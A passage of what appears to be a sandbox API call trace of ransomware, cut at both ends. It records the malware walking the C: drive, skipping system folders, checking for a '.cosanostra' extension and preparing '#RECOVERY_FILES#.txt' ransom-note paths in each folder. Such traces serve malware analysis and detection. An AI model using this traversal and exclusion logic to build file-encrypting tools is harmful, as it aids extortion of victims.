lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.045] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.045] lstrlenW (lpString="Windows") returned 7 [0076.045] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.045] lstrlenW (lpString="Program Files") returned 13 [0076.045] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.045] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.045] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.045] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.045] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.045] lstrlenW (lpString="System Volume Information") returned 25 [0076.045] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\.") returned 19 [0076.045] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.045] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.046] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.046] lstrlenW (lpString="Windows") returned 7 [0076.046] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.046] lstrlenW (lpString="Program Files") returned 13 [0076.046] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.046] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.046] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.046] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.046] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.046] lstrlenW (lpString="System Volume Information") returned 25 [0076.046] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\..") returned 20 [0076.046] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.046] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.046] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.046] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0076.046] lstrlenW (lpString="Windows") returned 7 [0076.046] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0076.046] lstrlenW (lpString="Program Files") returned 13 [0076.046] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0076.046] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.046] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0076.046] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.059] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0076.059] lstrlenW (lpString="System Volume Information") returned 25 [0076.059] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 33 [0076.059] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0076.059] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.059] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0076.059] lstrlenW (lpString="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 33 [0076.059] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0076.059] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0076.059] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\#RECOVERY_FILES#.txt") returned 38 [0076.059] lstrlenW (lpString="\\\\?\\C:\\Boot\\zh-TW\\#RECOVERY_FILES#.txt") returned 38 [0076.059] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0 [0076.059] FindClose (in: hFindFile=0x239e28 | out: hFindFile=0x239e28) returned 1 [0076.059] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\#RECOVERY_FILES#.txt") returned 32 [0076.060] lstrlenW (lpString="\\\\?\\C:\\Boot\\#RECOVERY_FILES#.txt") returned 32 [0076.060] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0076.060] lstrcmpiW (lpString1="bootmgr", lpString2="Windows") returned -1 [0076.060] lstrlenW (lpString="Windows") returned 7 [0076.060] lstrcmpiW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0076.060] lstrlenW (lpString="Program Files") returned 13 [0076.060] lstrcmpiW (lpString1="bootmgr", lpString2="Program Files (x86)") returned -1 [0076.060] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.060] lstrcmpiW (lpString1="bootmgr", lpString2="$Recycle.bin") returned 1 [0076.060] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.060] lstrcmpiW (lpString1="bootmgr", lpString2="System Volume Information") returned -1 [0076.060] lstrlenW (lpString="System Volume Information") returned 25 [0076.060] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\bootmgr") returned 14 [0076.060] StrStrIW (lpFirst="bootmgr", lpSrch=".cosanostra") returned 0x0 [0076.060] lstrcmpW (lpString1="bootmgr", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.060] lstrcmpW (lpString1="bootmgr", lpString2="_uninstalling_.png") returned 1 [0076.060] lstrlenW (lpString="\\\\?\\C:\\bootmgr") returned 14 [0076.060] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0076.060] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0076.060] lstrlenW (lpString="Windows") returned 7 [0076.060] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0076.060] lstrlenW (lpString="Program Files") returned 13 [0076.060] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="Program Files (x86)") returned -1 [0076.060] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.060] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="$Recycle.bin") returned 1 [0076.060] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.060] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="System Volume Information") returned -1 [0076.060] lstrlenW (lpString="System Volume Information") returned 25 [0076.060] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\BOOTSECT.BAK") returned 19 [0076.060] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".cosanostra") returned 0x0 [0076.061] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.061] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="_uninstalling_.png") returned 1 [0076.061] lstrlenW (lpString="\\\\?\\C:\\BOOTSECT.BAK") returned 19 [0076.061] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0076.061] lstrcmpiW (lpString1="Config.Msi", lpString2="Windows") returned -1 [0076.061] lstrlenW (lpString="Windows") returned 7 [0076.061] lstrcmpiW (lpString1="Config.Msi", lpString2="Program Files") returned -1 [0076.061] lstrlenW (lpString="Program Files") returned 13 [0076.061] lstrcmpiW (lpString1="Config.Msi", lpString2="Program Files (x86)") returned -1 [0076.061] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.061] lstrcmpiW (lpString1="Config.Msi", lpString2="$Recycle.bin") returned 1 [0076.061] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.061] lstrcmpiW (lpString1="Config.Msi", lpString2="System Volume Information") returned -1 [0076.061] lstrlenW (lpString="System Volume Information") returned 25 [0076.061] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi") returned 17 [0076.061] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0076.061] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0076.061] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Config.Msi\\*") returned 19 [0076.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0x239e28 [0076.061] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.061] lstrlenW (lpString="Windows") returned 7 [0076.061] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.061] lstrlenW (lpString="Program Files") returned 13 [0076.062] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.062] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.062] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.062] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.062] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.062] lstrlenW (lpString="System Volume Information") returned 25 [0076.062] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\.") returned 19 [0076.062] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.062] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.062] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.062] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.062] lstrlenW (lpString="\\\\?\\C:\\Config.Msi\\.") returned 19 [0076.062] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.062] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.062] lstrlenW (lpString="Windows") returned 7 [0076.062] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.062] lstrlenW (lpString="Program Files") returned 13 [0076.062] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.062] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.062] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.062] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.062] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.062] lstrlenW (lpString="System Volume Information") returned 25 [0076.062] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\..") returned 20 [0076.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.062] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.062] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.062] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.062] lstrlenW (lpString="\\\\?\\C:\\Config.Msi\\..") returned 20 [0076.063] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0 [0076.063] FindClose (in: hFindFile=0x239e28 | out: hFindFile=0x239e28) returned 1 [0076.063] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\#RECOVERY_FILES#.txt") returned 38 [0076.063] lstrlenW (lpString="\\\\?\\C:\\Config.Msi\\#RECOVERY_FILES#.txt") returned 38 [0076.063] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0076.063] lstrcmpiW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0076.063] lstrlenW (lpString="Windows") returned 7 [0076.063] lstrcmpiW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0076.063] lstrlenW (lpString="Program Files") returned 13 [0076.063] lstrcmpiW (lpString1="Documents and Settings", lpString2="Program Files (x86)") returned -1 [0076.063] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.063] lstrcmpiW (lpString1="Documents and Settings", lpString2="$Recycle.bin") returned 1 [0076.063] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.063] lstrcmpiW (lpString1="Documents and Settings", lpString2="System Volume Information") returned -1 [0076.063] lstrlenW (lpString="System Volume Information") returned 25 [0076.063] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Documents and Settings") returned 29 [0076.063] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0076.063] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0076.063] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Documents and Settings\\*") returned 31 [0076.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0xffffffff [0076.064] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0076.064] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0076.064] lstrlenW (lpString="Windows") returned 7 [0076.064] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0076.064] lstrlenW (lpString="Program Files") returned 13 [0076.064] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Program Files (x86)") returned -1 [0076.064] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.064] lstrcmpiW (lpString1="hiberfil.sys", lpString2="$Recycle.bin") returned 1 [0076.064] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.064] lstrcmpiW (lpString1="hiberfil.sys", lpString2="System Volume Information") returned -1 [0076.064] lstrlenW (lpString="System Volume Information") returned 25 [0076.064] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\hiberfil.sys") returned 19 [0076.064] StrStrIW (lpFirst="hiberfil.sys", lpSrch=".cosanostra") returned 0x0 [0076.064] lstrcmpW (lpString1="hiberfil.sys", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.064] lstrcmpW (lpString1="hiberfil.sys", lpString2="_uninstalling_.png") returned 1 [0076.064] lstrlenW (lpString="\\\\?\\C:\\hiberfil.sys") returned 19 [0076.065] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0076.065] lstrcmpiW (lpString1="MSOCache", lpString2="Windows") returned -1 [0076.065] lstrlenW (lpString="Windows") returned 7 [0076.065] lstrcmpiW (lpString1="MSOCache", lpString2="Program Files") returned -1 [0076.065] lstrlenW (lpString="Program Files") returned 13 [0076.065] lstrcmpiW (lpString1="MSOCache", lpString2="Program Files (x86)") returned -1 [0076.066] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.066] lstrcmpiW (lpString1="MSOCache", lpString2="$Recycle.bin") returned 1 [0076.066] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.066] lstrcmpiW (lpString1="MSOCache", lpString2="System Volume Information") returned -1 [0076.066] lstrlenW (lpString="System Volume Information") returned 25 [0076.066] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache") returned 15 [0076.066] lstrcmpW (lpString1="MSOCache", lpString2=".") returned 1 [0076.066] lstrcmpW (lpString1="MSOCache", lpString2="..") returned 1 [0076.066] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\*") returned 17 [0076.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0x239e28 [0076.067] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.067] lstrlenW (lpString="Windows") returned 7 [0076.067] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.067] lstrlenW (lpString="Program Files") returned 13 [0076.067] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.067] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.067] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.067] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.067] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.067] lstrlenW (lpString="System Volume Information") returned 25 [0076.067] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\.") returned 17 [0076.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.067] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.067] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.067] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.067] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\.") returned 17 [0076.067] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.067] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.067] lstrlenW (lpString="Windows") returned 7 [0076.067] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.067] lstrlenW (lpString="Program Files") returned 13 [0076.067] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.068] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.068] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.068] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.068] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.068] lstrlenW (lpString="System Volume Information") returned 25 [0076.068] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\..") returned 18 [0076.068] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.068] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.068] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.068] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.068] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.068] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\..") returned 18 [0076.068] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.068] lstrcmpiW (lpString1="All Users", lpString2="Windows") returned -1 [0076.068] lstrlenW (lpString="Windows") returned 7 [0076.068] lstrcmpiW (lpString1="All Users", lpString2="Program Files") returned -1 [0076.068] lstrlenW (lpString="Program Files") returned 13 [0076.068] lstrcmpiW (lpString1="All Users", lpString2="Program Files (x86)") returned -1 [0076.068] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.068] lstrcmpiW (lpString1="All Users", lpString2="$Recycle.bin") returned 1 [0076.068] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.068] lstrcmpiW (lpString1="All Users", lpString2="System Volume Information") returned -1 [0076.068] lstrlenW (lpString="System Volume Information") returned 25 [0076.068] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users") returned 25 [0076.068] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0076.069] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0076.069] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\*") returned 27 [0076.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.100] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.100] lstrlenW (lpString="Windows") returned 7 [0076.100] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.100] lstrlenW (lpString="Program Files") returned 13 [0076.100] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.100] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.100] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.100] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.101] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.101] lstrlenW (lpString="System Volume Information") returned 25 [0076.101] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\.") returned 27 [0076.101] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.101] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.101] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.101] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.101] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\.") returned 27 [0076.101] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.102] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.103] lstrlenW (lpString="Windows") returned 7 [0076.103] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.103] lstrlenW (lpString="Program Files") returned 13 [0076.103] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.103] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.103] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.103] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.103] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.103] lstrlenW (lpString="System Volume Information") returned 25 [0076.103] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\..") returned 28 [0076.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.103] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.103] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.103] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.103] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\..") returned 28 [0076.103] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.103] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0076.103] lstrlenW (lpString="Windows") returned 7 [0076.103] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.103] lstrlenW (lpString="Program Files") returned 13 [0076.103] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.103] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.103] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.103] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.104] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.104] lstrlenW (lpString="System Volume Information") returned 25 [0076.104] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 66 [0076.104] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.104] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.105] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x24c310 [0076.209] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.209] lstrlenW (lpString="Windows") returned 7 [0076.209] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.209] lstrlenW (lpString="Program Files") returned 13 [0076.209] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.209] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.209] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.209] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.210] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.210] lstrlenW (lpString="System Volume Information") returned 25 [0076.210] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.210] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.210] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0076.210] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.210] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0076.210] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.") returned 68 [0076.210] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.210] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.210] lstrlenW (lpString="Windows") returned 7 [0076.210] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.210] lstrlenW (lpString="Program Files") returned 13 [0076.210] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.210] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.210] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.210] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.210] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.210] lstrlenW (lpString="System Volume Information") returned 25 [0076.210] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.210] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.210] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.210] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0076.210] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.210] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0076.210] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..") returned 69 [0076.210] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0076.210] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="Windows") returned -1 [0076.210] lstrlenW (lpString="Windows") returned 7 [0076.211] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="Program Files") returned -1 [0076.211] lstrlenW (lpString="Program Files") returned 13 [0076.211] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="Program Files (x86)") returned -1 [0076.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.211] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="$Recycle.bin") returned 1 [0076.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.211] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="System Volume Information") returned -1 [0076.211] lstrlenW (lpString="System Volume Information") returned 25 [0076.211] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 78 [0076.211] StrStrIW (lpFirst="ExcelLR.cab", lpSrch=".cosanostra") returned 0x0 [0076.211] lstrcmpW (lpString1="ExcelLR.cab", 